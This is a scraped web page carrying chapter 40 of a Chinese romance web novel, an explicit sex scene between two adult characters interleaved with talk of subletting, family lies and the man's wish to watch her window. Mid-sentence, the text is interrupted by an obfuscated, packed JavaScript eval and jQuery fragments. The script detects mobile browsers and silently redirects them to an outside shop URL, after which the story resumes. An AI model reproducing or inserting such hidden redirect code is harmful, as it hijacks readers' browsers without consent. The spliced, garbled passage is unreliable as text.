40. 40

作品:《车下不熟

    先不论二人的三观是不是一致,现在是心有灵犀。


    现在他们都想用这个姿势。


    在地铁上聊骚时,二人一个比一个身经百战,满打满算却都是第三次实战。前两次实战,共计两个姿势。第二次还是多亏刑沐“以下犯上”,不然,陶怀州能用同一个姿势从头做到尾。


    经验少之又少,情绪却一浪高过一浪,陶怀州半天进不去。


    刑沐把他的“进不去”误解为“不进去”,以为他吊着她,回头道:“我求你了……”


    她发誓,她这一个“求”字发自肺腑。


    不是只有陶怀州一个人兴致高涨好吗?


    她也一样好吗?自从他贴着她的背,一本正经地说她的锅像乒乓球拍一样,她就不想让他白白拿锅走人了。和他的手相隔牛仔裤时,她就兴致高涨了,更不要说现在只相隔一层橡胶制品。


    还被他颇具技巧地戳着、蹭着。


    颇具技巧?


    陶怀州不敢当。


    他根本就是在乱戳,乱蹭,根本还不如第一次的准头。


    所以刑沐的一句“我求你了”,对他来说,也是嘲讽拉满了。他认为她说的是:我求你了,别跟这儿丢人现眼了。


    “别动。”陶怀州凶了刑沐。


    硬撑罢了。


    刑沐气咻咻地转回头。


    不动是不可能的。她的腰有自己的意志,时而躲,时而迎,但躲也躲不开,迎也迎不到。陶怀州的呼吸在她脑后吹拂,又热,又急,愈发热,愈发急,让她化身在火焰山借到假的芭蕉扇的孙猴子,就差抓耳挠腮了。


    终于,一滴、两滴,下了雨。


    她被拉回现实。


    六楼是顶楼,漏雨了吗?她抬头看看,并没有。


    她进一步认清现实,是陶怀州额头上的汗滴在了她的后腰上。


    太痒了,刑沐从案台边腾出一只手去擦。


    陶怀州又凶了她:“我让你别动!”


    哎呦喂!刑沐这个孙猴子要拿出大闹天宫的劲头了:“陶怀州,我给你脸了!你……”


    她边骂边回头,对上陶怀州不善的眼神后,骂不下去了,改口:“你行行好,别打我。”


    他和凶神恶煞不沾边,她却从他的眼神中看出不善,看出他晦涩难懂的另一半。她鬼使神差想起他在足疗店打了她的屁股,想起在邻市的快捷酒店里,他给过她类似的一巴掌。


    一次是偶然,两次是八九不离十。


    她匆匆捂住半边:“你有这种爱好,要提前说的!这种爱好要一个愿打,一个愿挨。我不是你的同道中人……”


    陶怀州被火上浇油——火是进不去的火,油是刑沐对他的曲解。


    曲解意味着什么?


    意味着他进不去她的心。


    那身体就不能不进去了。


    陶怀州用一条手臂环住刑沐的腰,俯身,几乎是压在她的背上,从四面八方将她牢牢锁住,不用她迎,只要她不躲,只要他别太怜香惜玉。


    刑沐再一次曲解了陶怀州。她觉得他不是一般的诡计多端。她左等右等的时候,他吊着她。等她的注意力转移到“一个愿打,一个不愿挨”上了,他突袭。


    以至于她刚刚腹诽的哎呦喂,逐字往外蹦。


    “哎……不行不行。”


    “呦,慢……慢着。”


    “喂!你大爷!”


    全是她自说自话。


    为了不和刑沐唱反调,陶怀州一言不发。


    不然他会说:不行也得行。慢不了。我说过,我没大爷。


    陶怀州静候刑沐花里胡哨的语气助词最后只剩下不规律的嗯嗯啊啊,这才开口:“你什么时候走?”


    刑沐一声嗯带着疑问。


    “齐市。”


    “你又来……”刑沐真服了,这人又新添了边做边交流的怪癖是不是?


    Dirty和Sweet的前缀他是一个都不要,他只要Talk!


    陶怀州再问一遍:“什么时候走?”


    刑沐在这种时候不太能诡辩,只能和上次家丑外扬一样实话实说:“还……没定。”


    “是时间没定,还是没定去不去?”


    刑沐的背凹下去,又拱上来,哆哆嗦嗦没说出话来。


    陶怀州给刑沐降低了难度:“时间没定,说1,没定去不去,说2。”


    “2……”


    二人几乎是同时发现,这种时候,他们的交流反倒最有效。


    尤其是刑沐发现,平时在交流中讨不到好处的陶怀州到了这种时候,反倒能把好处连本带利地讨回去。


    陶怀州拖着刑沐的腰后退一小步。


    她双手撑在案台边,上半身自然而然往下塌陷。


    “有哪些考虑因素?”陶怀州并不像刑沐以为的游刃有余,但交流的诱惑力对他来说太大了。


    刑沐恨得牙痒痒。


    在足疗店,她作为小刑,请教陶总,陶总驴唇不对马嘴地给她整出个“异地恋”。


    现在她是个“出轨”的女人,他又把陶总的派头端出来了?


    刑沐没好气:“没有12345吗?”


    “好,”陶怀州当真,“我来给你列。”


    刑沐心理上觉得陶怀州神经病,但身体在他这种“道貌岸然”的交流中抖得越来越像筛糠。“变态,”她再也不叫他乖乖了,“我改天……请你喝咖啡,好不好?”


    换言之,改天聊,现在放过她。


    “不好。”陶怀州不上当。


    曲线救国未果,刑沐直截了当:“我扶不住了……”


    她汗湿的掌心在案台边频频打滑。


    “别扶了。”陶怀州将刑沐的上半身揽直,好一副办法总比困难多的模样。


    他一条手臂斜斜揽到她的肩就足够用,另一手还能优哉游哉地从她的身前往下搓。


    所以他的办法,只会让刑沐更困难。


    刑沐花里胡哨的语气助词卷土重来。二人身高差得多,即便陶怀州尽力降低他的高度,刑沐仍只有前脚掌能着地,整个人和悬挂差不多。


    和之前比,不算深。


    但太刁钻了。


    刑沐两只手像溺水一样扑腾,却再也够不到像岸边一样的案台边。


    她只能垂下来,往后抓陶怀州的大腿。


    一开始,她的掌心和他之间的汗是粘的,能抓住。她缓上一口气,以攻代守:“你和你爸妈……还好吗?”


    假如交流是一问一答,她宁可她问,他答。


    至今,她对他家庭的了解,仍仅限于在邻市的快捷酒店里,他说他爸妈骗了他。


    “不好。”陶怀州不介意是问是答。


    只要刑沐问,他知无不言,言无不尽:“我妈生下我没多久,产后抑郁症,跟我爸离婚了,一走了之。我爸带我找了她二十八年,找到了,但她不记得我们了。这个故事你听听就好,因为它只是个故事,假的。真的是什么样,我也不知道。”


    刑沐的共情能力并不强,毕竟,连她的父母都不值得她共情。


    她听陶怀州讲完整个故事,内心并没有太大起伏。是,他是可怜的孩子。但比他可怜的孩子,多的是。


    直到她听他说“假的”,她皱了眉。


    怎么还带反转的?


    所以他爸妈自从他出生就骗了他?所以自从他牙牙学语、蹒跚学步,他就生活在假象中。


    刑沐的身体掉不了队——被陶怀州掌管着,出入、进退,不论本质上是不是被操控,至少表面上旗鼓相当。


    但她喘着,哼哼着,语言加不了塞,明明陶怀州讲完故事后,给她留了发言的时间,她心


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16186207|176063||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    有余而力不足。


    陶怀州也不介意自说自话:“南六环的房子,是我和我爸在住,留给他,我搬出来。”


    刑沐千难万难搭句话:“搬到哪里?”


    陶怀州惊喜:“还在找。”


    惊喜的结果是对刑沐不遗余力。


    刑沐这不是好人没好报了吗?搭句话,把自己搭进去。“有哪些……”她借用陶怀州的用词,“考虑因素?”


    就让他自己长篇大论好了!


    陶怀州却陷入了沉默。


    他的“知无不言,言无不尽”站不住脚了。


    因为他不能说:你,你是我唯一一个考虑因素。


    一万多平方公里的城市,陶怀州无所谓住在哪里。他买下南六环的房子时,无边文旅才起步,他只买得起那里。后来无边文旅蒸蒸日上,他也没动过搬家的念头,毕竟,他不觉得通勤是酷刑,那只是他无趣的人生的一部分罢了。


    如今回头看,他住在那里就是为了遇到刑沐。


    只有刑沐,是凌驾于他无趣的人生之上的存在。


    如今他对陶治的感情不是恨,恨会让人想报复,他不想,他只想远离陶治,哪怕像个逃兵。


    至于他搬到哪里,他在港市养病时就想好了。


    他要搬到刑沐的周围,最好是能看到她窗口的地方。


    当赵狄说他通过李酷的社交媒体“视奸”刑沐时,他想的是那看她窗口算“视奸”吗?他不用看到她,只要看她窗口的灯光时明时暗就可以了。


    以上,他不能对刑沐说。


    刑沐对他的了解为零,刑沐只会觉得他是个偷窥狂。


    沉默让陶怀州把精力更集中在了腰上、手上。


    刑沐开始挣扎,像被水草缠住一样哪怕更自取灭亡也要挣扎。


    陶怀州腾不出手,只能低头,吮住刑沐的后颈。


    不知道是谁出了更多的汗,刑沐的掌心开始在陶怀州的大腿上打滑。可恨她昨天才剪了指甲,不然挠他几道,出出气也是好的。


    “腰,”刑沐绷得要抽筋,“腰……”


    她千不该万不该,偷懒只说了一个“腰”字。


    陶怀州以为她说的是“要”。


    她要,他就给更多。


    这下刑沐连一个字都说不出来了,呜咽着,双手也不费劲了,垂在身侧,随着陶怀州的动作一摆一摆。


    陶怀州还能交流:“如果……我是说如果你决定去齐市,你把这里转租给我,可以吗?”


    如果她不走,他就在她对面的楼里找个住处。


    如果她走,他就住这里。


    不同于陶怀州清晰的逻辑,刑沐只觉得荒诞。所谓男人用下半身思考,难道是指男人一边用下半身,一边思考?不然陶怀州怎么能在这种时候跟她谈转租啊?


    接下来是不是要谈季付、年付,物业、宽带了啊?


    另外,她三分钟的小船儿去哪了啊?


    上次在品岸酒店,他没完没了,她觉得要么是偶然,要么是他吃药了。


    今晚作何解释?


    又是偶然?


    他又吃药了?没有副作用吗?不伤身吗?


    还是说她第一次给他买的“延时”,买到假货了?难道假货不但不“延时”,还催命?


    “刑沐?”


    刑沐回神:“嗯?”


    “可以吗?”


    刑沐不知道自己断片儿了,不知道陶怀州上一句在问她:“刑沐,我要稍微用点力了,可以吗?”


    她以为他的话题还停留在转租。


    她能说什么?说她还不一定去齐市?说转租怎么也得是房东拍板?说他好歹是个陶总,住这种地方会不会太守财奴了?


    拜托,她现在说不出这么多话。


    她现在只能打发他:“可以……”